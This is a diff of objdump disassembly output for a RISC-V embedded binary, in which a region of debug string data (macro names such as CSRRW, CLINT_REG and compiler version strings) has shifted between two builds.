-    6df8:	2230                	fld	fa2,64(a2)
-    6dfa:	5f00                	lw	s0,56(a4)
-    6dfc:	455a4953          	0x455a4953
-    6e00:	545f 445f 4645      	0x4645445f545f
-    6e06:	4e49                	li	t3,18
-    6e08:	4445                	li	s0,17
-    6e0a:	0020                	addi	s0,sp,8
-    6e0c:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
-    6e10:	73632857          	0x73632857
-    6e14:	2c72                	fld	fs8,280(sp)
-    6e16:	7372                	flw	ft6,60(sp)
-    6e18:	2029                	jal	6e22 <__stack_size+0x6622>
-    6e1a:	7b28                	flw	fa0,112(a4)
-    6e1c:	7520                	flw	fs0,104(a0)
-    6e1e:	736e                	flw	ft6,248(sp)
-    6e20:	6769                	lui	a4,0x1a
-    6e22:	656e                	flw	fa0,216(sp)
-    6e24:	2064                	fld	fs1,192(s0)
-    6e26:	6f6c                	flw	fa1,92(a4)
-    6e28:	676e                	flw	fa4,216(sp)
-    6e2a:	7220                	flw	fs0,96(a2)
-    6e2c:	3b64                	fld	fs1,240(a4)
-    6e2e:	6920                	flw	fs0,80(a0)
-    6e30:	2066                	fld	ft0,88(sp)
-    6e32:	5f28                	lw	a0,120(a4)
-    6e34:	625f 6975 746c      	0x746c6975625f
-    6e3a:	6e69                	lui	t3,0x1a
-    6e3c:	635f 6e6f 7473      	0x74736e6f635f
-    6e42:	6e61                	lui	t3,0x18
-    6e44:	5f74                	lw	a3,124(a4)
-    6e46:	2870                	fld	fa2,208(s0)
-    6e48:	7372                	flw	ft6,60(sp)
-    6e4a:	2029                	jal	6e54 <__stack_size+0x6654>
-    6e4c:	2626                	fld	fa2,72(sp)
-    6e4e:	2820                	fld	fs0,80(s0)
-    6e50:	6e75                	lui	t3,0x1d
-    6e52:	6e676973          	csrrsi	s2,0x6e6,14
-    6e56:	6465                	lui	s0,0x19
-    6e58:	6c20                	flw	fs0,88(s0)
-    6e5a:	29676e6f          	jal	t3,7d0f0 <__stack_size+0x7c8f0>
-    6e5e:	7228                	flw	fa0,96(a2)
-    6e60:	3c202973          	csrr	s2,0x3c2
-    6e64:	3320                	fld	fs0,96(a4)
-    6e66:	2932                	fld	fs2,264(sp)
-    6e68:	6120                	flw	fs0,64(a0)
-    6e6a:	76206d73          	csrrsi	s10,0x762,0
-    6e6e:	74616c6f          	jal	s8,1d5b4 <__stack_size+0x1cdb4>
-    6e72:	6c69                	lui	s8,0x1a
-    6e74:	2065                	jal	6f1c <__stack_size+0x671c>
-    6e76:	2228                	fld	fa0,64(a2)
-    6e78:	72727363          	bgeu	tp,t2,759e <__stack_size+0x6d9e>
-    6e7c:	25206977          	0x25206977
-    6e80:	2c30                	fld	fa2,88(s0)
-    6e82:	2220                	fld	fs0,64(a2)
-    6e84:	2320                	fld	fs0,64(a4)
-    6e86:	20727363          	bgeu	tp,t2,708c <__stack_size+0x688c>
-    6e8a:	2c22                	fld	fs8,8(sp)
-    6e8c:	2520                	fld	fs0,72(a0)
-    6e8e:	2231                	jal	6f9a <__stack_size+0x679a>
-    6e90:	3a20                	fld	fs0,112(a2)
-    6e92:	2220                	fld	fs0,64(a2)
-    6e94:	723d                	lui	tp,0xfffef
-    6e96:	2822                	fld	fa6,8(sp)
-    6e98:	6472                	flw	fs0,28(sp)
-    6e9a:	2029                	jal	6ea4 <__stack_size+0x66a4>
-    6e9c:	203a                	fld	ft0,392(sp)
-    6e9e:	4b22                	lw	s6,8(sp)
-    6ea0:	2822                	fld	fa6,8(sp)
-    6ea2:	7372                	flw	ft6,60(sp)
-    6ea4:	2929                	jal	72be <__stack_size+0x6abe>
-    6ea6:	6c65203b          	0x6c65203b
-    6eaa:	61206573          	csrrsi	a0,0x612,0
-    6eae:	76206d73          	csrrsi	s10,0x762,0
-    6eb2:	74616c6f          	jal	s8,1d5f8 <__stack_size+0x1cdf8>
-    6eb6:	6c69                	lui	s8,0x1a
-    6eb8:	2065                	jal	6f60 <__stack_size+0x6760>
-    6eba:	2228                	fld	fa0,64(a2)
-    6ebc:	72727363          	bgeu	tp,t2,75e2 <__stack_size+0x6de2>
-    6ec0:	30252077          	0x30252077
-    6ec4:	202c                	fld	fa1,64(s0)
-    6ec6:	2022                	fld	ft0,8(sp)
-    6ec8:	72736323          	0x72736323
-    6ecc:	2220                	fld	fs0,64(a2)
-    6ece:	202c                	fld	fa1,64(s0)
-    6ed0:	3125                	jal	6af8 <__stack_size+0x62f8>
-    6ed2:	2022                	fld	ft0,8(sp)
-    6ed4:	203a                	fld	ft0,392(sp)
-    6ed6:	3d22                	fld	fs10,40(sp)
-    6ed8:	2272                	fld	ft4,280(sp)
-    6eda:	7228                	flw	fa0,96(a2)
-    6edc:	2964                	fld	fs1,208(a0)
-    6ede:	3a20                	fld	fs0,112(a2)
-    6ee0:	2220                	fld	fs0,64(a2)
-    6ee2:	2272                	fld	ft4,280(sp)
-    6ee4:	7228                	flw	fa0,96(a2)
-    6ee6:	3b292973          	csrrs	s2,pmpaddr2,s2
-    6eea:	7220                	flw	fs0,96(a2)
-    6eec:	3b64                	fld	fs1,240(a4)
-    6eee:	7d20                	flw	fs0,120(a0)
-    6ef0:	0029                	c.nop	10
-    6ef2:	4e49                	li	t3,18
-    6ef4:	5f54                	lw	a3,60(a4)
-    6ef6:	454c                	lw	a1,12(a0)
-    6ef8:	5341                	li	t1,-16
-    6efa:	3854                	fld	fa3,176(s0)
-    6efc:	4d5f 4e49 5f00      	0x5f004e494d5f
-    6f02:	465f 544c 3231      	0x3231544c465f
-    6f08:	5f38                	lw	a4,120(a4)
-    6f0a:	414d                	li	sp,19
-    6f0c:	5f58                	lw	a4,60(a4)
-    6f0e:	205f 2e31 3831      	0x38312e31205f
-    6f14:	3739                	jal	6e22 <__stack_size+0x6622>
-    6f16:	39343133          	0x39343133
-    6f1a:	3335                	jal	6c46 <__stack_size+0x6446>
-    6f1c:	3735                	jal	6e48 <__stack_size+0x6648>
-    6f1e:	3332                	fld	ft6,296(sp)
-    6f20:	3731                	jal	6e2c <__stack_size+0x662c>
-    6f22:	3536                	fld	fa0,360(sp)
-    6f24:	3830                	fld	fa2,112(s0)
-    6f26:	3735                	jal	6e52 <__stack_size+0x6652>
-    6f28:	3935                	jal	6b64 <__stack_size+0x6364>
-    6f2a:	36363233          	0x36363233
-    6f2e:	3832                	fld	fa6,296(sp)
-    6f30:	3030                	fld	fa2,96(s0)
-    6f32:	65323037          	lui	zero,0x65323
-    6f36:	3339342b          	0x3339342b
-    6f3a:	4632                	lw	a2,12(sp)
-    6f3c:	3231                	jal	6848 <__stack_size+0x6048>
-    6f3e:	0038                	addi	a4,sp,8
-    6f40:	4148                	lw	a0,4(a0)
-    6f42:	4556                	lw	a0,84(sp)
-    6f44:	495f 494e 4654      	0x4654494e495f
-    6f4a:	4e49                	li	t3,18
-    6f4c:	5f49                	li	t5,-14
-    6f4e:	5241                	li	tp,-16
-    6f50:	4152                	lw	sp,20(sp)
-    6f52:	2059                	jal	6fd8 <__stack_size+0x67d8>
-    6f54:	0031                	c.nop	12
-    6f56:	4146                	lw	sp,80(sp)
-    6f58:	434e5953          	0x434e5953
-    6f5c:	5f20                	lw	s0,120(a4)
-    6f5e:	4146                	lw	sp,80(sp)
-    6f60:	434e5953          	0x434e5953
-    6f64:	5f00                	lw	s0,56(a4)
-    6f66:	4f5f4353          	0x4f5f4353
-    6f6a:	4550                	lw	a2,12(a0)
-    6f6c:	5f4e                	lw	t5,240(sp)
-    6f6e:	414d                	li	sp,19
-    6f70:	2058                	fld	fa4,128(s0)
-    6f72:	0034                	addi	a3,sp,8
-    6f74:	5f5f 695f 746e      	0x746e695f5f5f
-    6f7a:	5f38                	lw	a4,120(a4)
-    6f7c:	5f74                	lw	a3,124(a4)
-    6f7e:	6564                	flw	fs1,76(a0)
-    6f80:	6966                	flw	fs2,88(sp)
-    6f82:	656e                	flw	fa0,216(sp)
-    6f84:	2064                	fld	fs1,192(s0)
-    6f86:	0031                	c.nop	12
-    6f88:	5f5f 4953 5f47      	0x5f4749535f5f
-    6f8e:	5441                	li	s0,-16
-    6f90:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6f94:	575f 4449 4854      	0x48544449575f
-    6f9a:	5f5f 3320 0032      	0x3233205f5f
-    6fa0:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6fa4:	544d                	li	s0,-13
-    6fa6:	4556                	lw	a0,84(sp)
-    6fa8:	00322043          	fmadd.s	ft0,ft4,ft3,ft0,rdn
-    6fac:	535f 5f43 5250      	0x52505f43535f
-    6fb2:	4f49                	li	t5,18
-    6fb4:	4952                	lw	s2,20(sp)
-    6fb6:	4954                	lw	a3,20(a0)
-    6fb8:	455a                	lw	a0,148(sp)
-    6fba:	5f44                	lw	s1,60(a4)
-    6fbc:	4f49                	li	t5,18
-    6fbe:	3220                	fld	fs0,96(a2)
-    6fc0:	0038                	addi	a4,sp,8
-    6fc2:	5f5f 6972 6373      	0x637369725f5f
-    6fc8:	2076                	fld	ft0,344(sp)
-    6fca:	0031                	c.nop	12
-    6fcc:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-    6fd0:	5f54                	lw	a3,60(a4)
-    6fd2:	4552                	lw	a0,20(sp)
-    6fd4:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    6fd8:	7366                	flw	ft6,120(sp)
-    6fda:	7465                	lui	s0,0xffff9
-    6fdc:	2029                	jal	6fe6 <__stack_size+0x67e6>
-    6fde:	525f 4745 3436      	0x34364745525f
-    6fe4:	4328                	lw	a0,64(a4)
-    6fe6:	494c                	lw	a1,20(a0)
-    6fe8:	544e                	lw	s0,240(sp)
-    6fea:	425f 5341 2c45      	0x2c455341425f
-    6ff0:	6f20                	flw	fs0,88(a4)
-    6ff2:	6666                	flw	fa2,88(sp)
-    6ff4:	29746573          	csrrsi	a0,0x297,8
-    6ff8:	7300                	flw	fs0,32(a4)
-    6ffa:	5f74                	lw	a3,124(a4)
-    6ffc:	6d697463          	bgeu	s2,s6,76c4 <__stack_size+0x6ec4>
-    7000:	2065                	jal	70a8 <__stack_size+0x68a8>
-    7002:	635f7473          	csrrci	s0,0x635,30
-    7006:	6974                	flw	fa3,84(a0)
-    7008:	2e6d                	jal	73c2 <__stack_size+0x6bc2>
-    700a:	7674                	flw	fa3,108(a2)
-    700c:	735f 6365 5f00      	0x5f006365735f
-    7012:	425f 4453 565f      	0x565f4453425f
-    7018:	5349                	li	t1,-14
-    701a:	4249                	li	tp,18
-    701c:	454c                	lw	a1,12(a0)
+    6de2:	455f 444e 4149      	0x4149444e455f
+    6de8:	204e                	fld	ft0,208(sp)
+    6dea:	3231                	jal	66f6 <__stack_size+0x5ef6>
+    6dec:	5f003433          	0x5f003433
+    6df0:	545f4353          	0x545f4353
+    6df4:	5248                	lw	a0,36(a2)
+    6df6:	4145                	li	sp,17
+    6df8:	5f44                	lw	s1,60(a4)
+    6dfa:	4544                	lw	s1,12(a0)
+    6dfc:	55525453          	0x55525453
+    6e00:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    6e04:	495f 4554 4152      	0x41524554495f
+    6e0a:	4954                	lw	a3,20(a0)
+    6e0c:	20534e4f          	fnmadd.s	ft8,ft6,ft5,ft4,rmm
+    6e10:	3335                	jal	6b3c <__stack_size+0x633c>
+    6e12:	5f00                	lw	s0,56(a4)
+    6e14:	755f 695f 746e      	0x746e695f755f
+    6e1a:	645f 6665 6e69      	0x6e696665645f
+    6e20:	6465                	lui	s0,0x19
+    6e22:	0020                	addi	s0,sp,8
+    6e24:	5f5f 4c46 3654      	0x36544c465f5f
+    6e2a:	5834                	lw	a3,112(s0)
+    6e2c:	4d5f 4e41 5f54      	0x5f544e414d5f
+    6e32:	4944                	lw	s1,20(a0)
+    6e34:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    6e38:	3131                	jal	6a44 <__stack_size+0x6244>
+    6e3a:	4d440033          	0x4d440033
+    6e3e:	5f41                	li	t5,-16
+    6e40:	5254                	lw	a3,36(a2)
+    6e42:	535f 5a49 5f45      	0x5f455a49535f
+    6e48:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    6e4c:	7830                	flw	fa2,112(s0)
+    6e4e:	3035                	jal	667a <__stack_size+0x5e7a>
+    6e50:	5700                	lw	s0,40(a4)
+    6e52:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    6e56:	4d5f 5841 5f00      	0x5f0058414d5f
+    6e5c:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    6e60:	5f545f4b          	fnmsub.q	ft10,fs0,fs5,fa1,unknown
+    6e64:	4544                	lw	s1,12(a0)
+    6e66:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    6e6a:	4445                	li	s0,17
+    6e6c:	0020                	addi	s0,sp,8
+    6e6e:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    6e72:	49445f4b          	fnmsub.s	ft10,fs0,fs4,fs1,unknown
+    6e76:	4c424153          	0x4c424153
+    6e7a:	4445                	li	s0,17
+    6e7c:	3020                	fld	fs0,96(s0)
+    6e7e:	5f00                	lw	s0,56(a4)
+    6e80:	565f 5245 4953      	0x49535245565f
+    6e86:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    6e8a:	2220                	fld	fs0,64(a2)
+    6e8c:	3031                	jal	6698 <__stack_size+0x5e98>
+    6e8e:	312e                	fld	ft2,232(sp)
+    6e90:	302e                	fld	ft0,232(sp)
+    6e92:	0022                	c.slli	zero,0x8
+    6e94:	535f 5a49 5f45      	0x5f455a49535f
+    6e9a:	5f54                	lw	a3,60(a4)
+    6e9c:	4544                	lw	s1,12(a0)
+    6e9e:	4946                	lw	s2,80(sp)
+    6ea0:	454e                	lw	a0,208(sp)
+    6ea2:	2044                	fld	fs1,128(s0)
+    6ea4:	4300                	lw	s0,0(a4)
+    6ea6:	57525253          	0x57525253
+    6eaa:	6328                	flw	fa0,64(a4)
+    6eac:	722c7273          	csrrci	tp,0x722,24
+    6eb0:	28202973          	csrr	s2,0x282
+    6eb4:	6e75207b          	0x6e75207b
+    6eb8:	6e676973          	csrrsi	s2,0x6e6,14
+    6ebc:	6465                	lui	s0,0x19
+    6ebe:	6c20                	flw	fs0,88(s0)
+    6ec0:	20676e6f          	jal	t3,7d0c6 <__stack_size+0x7c8c6>
+    6ec4:	6472                	flw	fs0,28(sp)
+    6ec6:	6669203b          	0x6669203b
+    6eca:	2820                	fld	fs0,80(s0)
+    6ecc:	5f5f 7562 6c69      	0x6c6975625f5f
+    6ed2:	6974                	flw	fa3,84(a0)
+    6ed4:	5f6e                	lw	t5,248(sp)
+    6ed6:	736e6f63          	bltu	t3,s6,7614 <__stack_size+0x6e14>
+    6eda:	6174                	flw	fa3,68(a0)
+    6edc:	746e                	flw	fs0,248(sp)
+    6ede:	705f 7228 2973      	0x29737228705f
+    6ee4:	2620                	fld	fs0,72(a2)
+    6ee6:	2026                	fld	ft0,72(sp)
+    6ee8:	7528                	flw	fa0,104(a0)
+    6eea:	736e                	flw	ft6,248(sp)
+    6eec:	6769                	lui	a4,0x1a
+    6eee:	656e                	flw	fa0,216(sp)
+    6ef0:	2064                	fld	fs1,192(s0)
+    6ef2:	6f6c                	flw	fa1,92(a4)
+    6ef4:	676e                	flw	fa4,216(sp)
+    6ef6:	2829                	jal	6f10 <__stack_size+0x6710>
+    6ef8:	7372                	flw	ft6,60(sp)
+    6efa:	2029                	jal	6f04 <__stack_size+0x6704>
+    6efc:	203c                	fld	fa5,64(s0)
+    6efe:	20293233          	0x20293233
+    6f02:	7361                	lui	t1,0xffff8
+    6f04:	206d                	jal	6fae <__stack_size+0x67ae>
+    6f06:	6f76                	flw	ft10,92(sp)
+    6f08:	616c                	flw	fa1,68(a0)
+    6f0a:	6974                	flw	fa3,84(a0)
+    6f0c:	656c                	flw	fa1,76(a0)
+    6f0e:	2820                	fld	fs0,80(s0)
+    6f10:	6322                	flw	ft6,8(sp)
+    6f12:	77727273          	csrrci	tp,0x777,4
+    6f16:	2069                	jal	6fa0 <__stack_size+0x67a0>
+    6f18:	3025                	jal	6740 <__stack_size+0x5f40>
+    6f1a:	202c                	fld	fa1,64(s0)
+    6f1c:	2022                	fld	ft0,8(sp)
+    6f1e:	72736323          	0x72736323
+    6f22:	2220                	fld	fs0,64(a2)
+    6f24:	202c                	fld	fa1,64(s0)
+    6f26:	3125                	jal	6b4e <__stack_size+0x634e>
+    6f28:	2022                	fld	ft0,8(sp)
+    6f2a:	203a                	fld	ft0,392(sp)
+    6f2c:	3d22                	fld	fs10,40(sp)
+    6f2e:	2272                	fld	ft4,280(sp)
+    6f30:	7228                	flw	fa0,96(a2)
+    6f32:	2964                	fld	fs1,208(a0)
+    6f34:	3a20                	fld	fs0,112(a2)
+    6f36:	2220                	fld	fs0,64(a2)
+    6f38:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    6f3c:	3b292973          	csrrs	s2,pmpaddr2,s2
+    6f40:	6520                	flw	fs0,72(a0)
+    6f42:	736c                	flw	fa1,100(a4)
+    6f44:	2065                	jal	6fec <__stack_size+0x67ec>
+    6f46:	7361                	lui	t1,0xffff8
+    6f48:	206d                	jal	6ff2 <__stack_size+0x67f2>
+    6f4a:	6f76                	flw	ft10,92(sp)
+    6f4c:	616c                	flw	fa1,68(a0)
+    6f4e:	6974                	flw	fa3,84(a0)
+    6f50:	656c                	flw	fa1,76(a0)
+    6f52:	2820                	fld	fs0,80(s0)
+    6f54:	6322                	flw	ft6,8(sp)
+    6f56:	77727273          	csrrci	tp,0x777,4
+    6f5a:	2520                	fld	fs0,72(a0)
+    6f5c:	2c30                	fld	fa2,88(s0)
+    6f5e:	2220                	fld	fs0,64(a2)
+    6f60:	2320                	fld	fs0,64(a4)
+    6f62:	20727363          	bgeu	tp,t2,7168 <__stack_size+0x6968>
+    6f66:	2c22                	fld	fs8,8(sp)
+    6f68:	2520                	fld	fs0,72(a0)
+    6f6a:	2231                	jal	7076 <__stack_size+0x6876>
+    6f6c:	3a20                	fld	fs0,112(a2)
+    6f6e:	2220                	fld	fs0,64(a2)
+    6f70:	723d                	lui	tp,0xfffef
+    6f72:	2822                	fld	fa6,8(sp)
+    6f74:	6472                	flw	fs0,28(sp)
+    6f76:	2029                	jal	6f80 <__stack_size+0x6780>
+    6f78:	203a                	fld	ft0,392(sp)
+    6f7a:	7222                	flw	ft4,40(sp)
+    6f7c:	2822                	fld	fa6,8(sp)
+    6f7e:	7372                	flw	ft6,60(sp)
+    6f80:	2929                	jal	739a <__stack_size+0x6b9a>
+    6f82:	6472203b          	0x6472203b
+    6f86:	297d203b          	0x297d203b
+    6f8a:	4900                	lw	s0,16(a0)
+    6f8c:	544e                	lw	s0,240(sp)
+    6f8e:	4c5f 4145 5453      	0x545341454c5f
+    6f94:	5f38                	lw	a4,120(a4)
+    6f96:	494d                	li	s2,19
+    6f98:	004e                	c.slli	zero,0x13
+    6f9a:	5f5f 4c46 3154      	0x31544c465f5f
+    6fa0:	3832                	fld	fa6,296(sp)
+    6fa2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    6fa8:	3120                	fld	fs0,96(a0)
+    6faa:	312e                	fld	ft2,232(sp)
+    6fac:	3938                	fld	fa4,112(a0)
+    6fae:	34313337          	lui	t1,0x34313
+    6fb2:	3539                	jal	6dc0 <__stack_size+0x65c0>
+    6fb4:	32373533          	0x32373533
+    6fb8:	36373133          	0x36373133
+    6fbc:	3035                	jal	67e8 <__stack_size+0x5fe8>
+    6fbe:	3538                	fld	fa4,104(a0)
+    6fc0:	33393537          	lui	a0,0x33393
+    6fc4:	3632                	fld	fa2,296(sp)
+    6fc6:	3236                	fld	ft4,360(sp)
+    6fc8:	3038                	fld	fa4,96(s0)
+    6fca:	3730                	fld	fa2,104(a4)
+    6fcc:	3230                	fld	fa2,96(a2)
+    6fce:	2b65                	jal	7586 <__stack_size+0x6d86>
+    6fd0:	3934                	fld	fa3,112(a0)
+    6fd2:	31463233          	0x31463233
+    6fd6:	3832                	fld	fa6,296(sp)
+    6fd8:	4800                	lw	s0,16(s0)
+    6fda:	5641                	li	a2,-16
+    6fdc:	5f45                	li	t5,-15
+    6fde:	4e49                	li	t3,18
+    6fe0:	5449                	li	s0,-14
+    6fe2:	4946                	lw	s2,80(sp)
+    6fe4:	494e                	lw	s2,208(sp)
+    6fe6:	415f 5252 5941      	0x59415252415f
+    6fec:	3120                	fld	fs0,96(a0)
+    6fee:	4600                	lw	s0,8(a2)
+    6ff0:	5341                	li	t1,-16
+    6ff2:	4e59                	li	t3,22
+    6ff4:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    6ff8:	5341                	li	t1,-16
+    6ffa:	4e59                	li	t3,22
+    6ffc:	535f0043          	fmadd.d	ft0,ft10,fs5,fa0,rne
+    7000:	504f5f43          	fmadd.s	ft10,ft10,ft4,fa0,unknown
+    7004:	4e45                	li	t3,17
+    7006:	4d5f 5841 3420      	0x342058414d5f
+    700c:	5f00                	lw	s0,56(a4)
+    700e:	5f5f 6e69 3874      	0x38746e695f5f
+    7014:	745f 645f 6665      	0x6665645f745f
+    701a:	6e69                	lui	t3,0x1a
+    701c:	6465                	lui	s0,0x19
     701e:	3120                	fld	fs0,96(a0)
     7020:	5f00                	lw	s0,56(a4)
-    7022:	6e5f 6565 5f64      	0x5f6465656e5f
-    7028:	554e                	lw	a0,240(sp)
-    702a:	4c4c                	lw	a1,28(s0)
-    702c:	0020                	addi	s0,sp,8
-    702e:	5750                	lw	a2,44(a4)
-    7030:	5f4d                	li	t5,-13
-    7032:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    7036:	53454e4f          	fnmadd.d	ft8,fa0,fs4,fa0,rmm
-    703a:	4f48                	lw	a0,28(a4)
-    703c:	2054                	fld	fa3,128(s0)
-    703e:	7830                	flw	fa2,112(s0)
-    7040:	3030                	fld	fa2,96(s0)
-    7042:	3030                	fld	fa2,96(s0)
-    7044:	3032                	fld	ft0,296(sp)
-    7046:	3030                	fld	fa2,96(s0)
-    7048:	4c00                	lw	s0,24(s0)
-    704a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    704e:	5845                	li	a6,-15
-    7050:	3020                	fld	fs0,96(s0)
-    7052:	3078                	fld	fa4,224(s0)
-    7054:	0032                	c.slli	zero,0xc
-    7056:	535f 5f43 3756      	0x37565f43535f
-    705c:	495f 504c 3233      	0x3233504c495f
-    7062:	4f5f 4646 4942      	0x494246464f5f
-    7068:	33392047          	fmsub.d	ft0,fs2,fs3,ft6,rdn
-    706c:	4600                	lw	s0,8(a2)
-    706e:	445f 5055 4446      	0x44465055445f
-    7074:	3020                	fld	fs0,96(s0)
-    7076:	5f00                	lw	s0,56(a4)
-    7078:	4e49                	li	t3,18
-    707a:	5054                	lw	a3,36(s0)
-    707c:	5254                	lw	a3,36(a2)
-    707e:	545f 445f 4345      	0x4345445f545f
-    7084:	414c                	lw	a1,4(a0)
-    7086:	4552                	lw	a0,20(sp)
-    7088:	2044                	fld	fs1,128(s0)
-    708a:	7300                	flw	fs0,32(a4)
-    708c:	7274                	flw	fa3,100(a2)
-    708e:	656c                	flw	fa1,76(a0)
-    7090:	006e                	c.slli	zero,0x1b
-    7092:	5f5f 4955 544e      	0x544e49555f5f
-    7098:	4c5f 4145 5453      	0x545341454c5f
-    709e:	4d5f3233          	0x4d5f3233
-    70a2:	5841                	li	a6,-16
-    70a4:	5f5f 3020 6678      	0x667830205f5f
-    70aa:	6666                	flw	fa2,88(sp)
-    70ac:	6666                	flw	fa2,88(sp)
-    70ae:	6666                	flw	fa2,88(sp)
-    70b0:	5566                	lw	a0,120(sp)
-    70b2:	004c                	addi	a1,sp,4
-    70b4:	554e                	lw	a0,240(sp)
-    70b6:	4c4c                	lw	a1,28(s0)
-    70b8:	2820                	fld	fs0,80(s0)
-    70ba:	7628                	flw	fa0,104(a2)
-    70bc:	2064696f          	jal	s2,4d2c2 <__stack_size+0x4cac2>
-    70c0:	292a                	fld	fs2,136(sp)
-    70c2:	2930                	fld	fa2,80(a0)
-    70c4:	5f00                	lw	s0,56(a4)
-    70c6:	4954                	lw	a3,20(a0)
-    70c8:	454d                	li	a0,19
-    70ca:	5f52                	lw	t5,52(sp)
-    70cc:	5f54                	lw	a3,60(a4)
-    70ce:	4544                	lw	s1,12(a0)
-    70d0:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    70d4:	4445                	li	s0,17
-    70d6:	0020                	addi	s0,sp,8
-    70d8:	5f5f 524f 4544      	0x4544524f5f5f
-    70de:	5f52                	lw	t5,52(sp)
-    70e0:	4942                	lw	s2,16(sp)
-    70e2:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
-    70e6:	4944                	lw	s1,20(a0)
-    70e8:	4e41                	li	t3,16
-    70ea:	5f5f 3420 3233      	0x323334205f5f
-    70f0:	0031                	c.nop	12
-    70f2:	7562                	flw	fa0,56(sp)
-    70f4:	6666                	flw	fa2,88(sp)
-    70f6:	7265                	lui	tp,0xffff9
-    70f8:	5f00                	lw	s0,56(a4)
-    70fa:	545f4353          	0x545f4353
-    70fe:	5248                	lw	a0,36(a2)
-    7100:	4145                	li	sp,17
-    7102:	5f44                	lw	s1,60(a4)
-    7104:	4f52                	lw	t5,20(sp)
-    7106:	5542                	lw	a0,48(sp)
-    7108:	505f5453          	0x505f5453
-    710c:	4952                	lw	s2,20(sp)
-    710e:	52505f4f          	fnmadd.d	ft10,ft0,ft5,fa0,unknown
-    7112:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
-    7116:	2054                	fld	fa3,128(s0)
-    7118:	3231                	jal	6a24 <__stack_size+0x6224>
-    711a:	5f5f0033          	0x5f5f0033
-    711e:	4c46                	lw	s8,80(sp)
-    7120:	3654                	fld	fa3,168(a2)
-    7122:	5834                	lw	a3,112(s0)
-    7124:	485f 5341 445f      	0x445f5341485f
-    712a:	4e45                	li	t3,17
-    712c:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    7130:	205f 0031 4d5f      	0x4d5f0031205f
-    7136:	4341                	li	t1,16
-    7138:	4948                	lw	a0,20(a0)
-    713a:	454e                	lw	a0,208(sp)
-    713c:	5f5f 4544 4146      	0x414645445f5f
-    7142:	4c55                	li	s8,21
-    7144:	5f54                	lw	a3,60(a4)
-    7146:	5954                	lw	a3,52(a0)
-    7148:	4550                	lw	a2,12(a0)
-    714a:	20485f53          	0x20485f53
-    714e:	5f00                	lw	s0,56(a4)
-    7150:	555f 4e49 5f54      	0x5f544e49555f
-    7156:	4146                	lw	sp,80(sp)
-    7158:	32335453          	0x32335453
-    715c:	545f 5059 5f45      	0x5f455059545f
-    7162:	205f 6e75 6973      	0x69736e75205f
-    7168:	64656e67          	0x64656e67
-    716c:	6920                	flw	fs0,80(a0)
-    716e:	746e                	flw	fs0,248(sp)
-    7170:	5f00                	lw	s0,56(a4)
-    7172:	4446                	lw	s0,80(sp)
-    7174:	4645                	li	a2,17
-    7176:	5245                	li	tp,-15
-    7178:	3020                	fld	fs0,96(s0)
-    717a:	3078                	fld	fa4,224(s0)
-    717c:	3230                	fld	fa2,96(a2)
-    717e:	0030                	addi	a2,sp,8
-    7180:	5f5f 4953 5f47      	0x5f4749535f5f
-    7186:	5441                	li	s0,-16
-    7188:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    718c:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    7192:	2820                	fld	fs0,80(s0)
-    7194:	5f2d                	li	t5,-21
-    7196:	535f 4749 415f      	0x415f4749535f
-    719c:	4f54                	lw	a3,28(a4)
-    719e:	494d                	li	s2,19
-    71a0:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
+    7022:	535f 4749 415f      	0x415f4749535f
+    7028:	4f54                	lw	a3,28(a4)
+    702a:	494d                	li	s2,19
+    702c:	49575f43          	fmadd.s	ft10,fa4,fs5,fs1,unknown
+    7030:	5444                	lw	s1,44(s0)
+    7032:	5f48                	lw	a0,60(a4)
+    7034:	205f 3233 4300      	0x43003233205f
+    703a:	4d5f5253          	0x4d5f5253
+    703e:	5654                	lw	a3,44(a2)
+    7040:	4345                	li	t1,17
+    7042:	3220                	fld	fs0,96(a2)
+    7044:	5f00                	lw	s0,56(a4)
+    7046:	505f4353          	0x505f4353
+    704a:	4952                	lw	s2,20(sp)
+    704c:	5449524f          	0x5449524f
+    7050:	5a49                	li	s4,-14
+    7052:	4445                	li	s0,17
+    7054:	495f 204f 3832      	0x3832204f495f
+    705a:	5f00                	lw	s0,56(a4)
+    705c:	725f 7369 7663      	0x76637369725f
+    7062:	3120                	fld	fs0,96(a0)
+    7064:	4300                	lw	s0,0(a4)
+    7066:	494c                	lw	a1,20(a0)
+    7068:	544e                	lw	s0,240(sp)
+    706a:	525f 4745 6f28      	0x6f284745525f
+    7070:	6666                	flw	fa2,88(sp)
+    7072:	29746573          	csrrsi	a0,0x297,8
+    7076:	5f20                	lw	s0,120(a4)
+    7078:	4552                	lw	a0,20(sp)
+    707a:	28343647          	fmsub.s	fa2,fs0,ft3,ft5,rup
+    707e:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
+    7082:	5f54                	lw	a3,60(a4)
+    7084:	4142                	lw	sp,16(sp)
+    7086:	202c4553          	0x202c4553
+    708a:	7366666f          	jal	a2,6d7c0 <__stack_size+0x6cfc0>
+    708e:	7465                	lui	s0,0xffff9
+    7090:	0029                	c.nop	10
